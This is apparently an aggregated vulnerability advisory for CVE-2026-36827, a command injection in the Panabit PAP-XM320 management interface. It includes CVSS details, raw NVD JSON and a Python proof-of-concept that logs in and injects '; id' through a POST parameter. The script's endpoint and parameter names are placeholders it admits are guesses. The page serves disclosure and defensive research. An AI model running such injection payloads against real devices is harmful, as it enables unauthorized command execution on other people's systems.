Security Vulnerability Report
中文
CVE-2026-36827 CVSS 5.4 MEDIUM

CVE-2026-36827

Published: 2026-05-19 17:16:22
Last Modified: 2026-05-19 19:16:50

Description

A command injection vulnerability exists in Panabit PAP-XM320 up to and including V7.7. The web management interface invokes the backend helper /usr/sbin/pappiw and passes user-controlled parameters to it. The helper performs unsafe argument processing using eval, which allows command injection when attacker-controlled input is included in the arguments. As a result, an authenticated remote attacker with access to the management interface may execute arbitrary shell commands.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Panabit PAP-XM320 <= V7.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-36827 - Panabit PAP-XM320 Command Injection Author: Analyst Description: This script demonstrates the command injection vulnerability by exploiting the eval() usage in /usr/sbin/pappiw. """ import requests import sys # Configuration target_url = "http://<TARGET_IP>/cgi-bin/pappiw" # Replace with actual endpoint username = "admin" # Low-privileged user password = "password" # Valid password def login(): """Authenticate with the web interface.""" session = requests.Session() login_payload = { "username": username, "password": password } # Assuming login endpoint, adjust based on actual application behavior resp = session.post(f"{target_url}/login", data=login_payload) if resp.status_code == 200: print("[+] Login successful") return session else: print("[-] Login failed") sys.exit(1) def exploit(session): """Trigger the command injection.""" # The vulnerable parameter is often passed as an argument to the helper. # Injecting `id` to verify execution. injection_payload = "; id" # Constructing the malicious data packet # Note: Parameter names (e.g., 'cmd', 'arg') need to be confirmed via traffic analysis data = { "action": "vulnerable_action", "arg": injection_payload } print(f"[*] Sending payload: {injection_payload}") response = session.post(target_url, data=data) print("[+] Response received:") print(response.text) if __name__ == "__main__": if "<TARGET_IP>" in target_url: print("Please set the target IP address in the script.") sys.exit(1) sess = login() exploit(sess)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-36827", "sourceIdentifier": "[email protected]", "published": "2026-05-19T17:16:21.937", "lastModified": "2026-05-19T19:16:50.047", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability exists in Panabit PAP-XM320 up to and including V7.7. The web management interface invokes the backend helper /usr/sbin/pappiw and passes user-controlled parameters to it. The helper performs unsafe argument processing using eval, which allows command injection when attacker-controlled input is included in the arguments. As a result, an authenticated remote attacker with access to the management interface may execute arbitrary shell commands."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://secreu.notion.site/CVE-2026-36827-3652c0ab46158036a888ef4a12b104bf", "source": "[email protected]"}, {"url": "https://www.panabit.com/", "source": "[email protected]"}, {"url": "https://secreu.notion.site/CVE-2026-36827-3652c0ab46158036a888ef4a12b104bf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}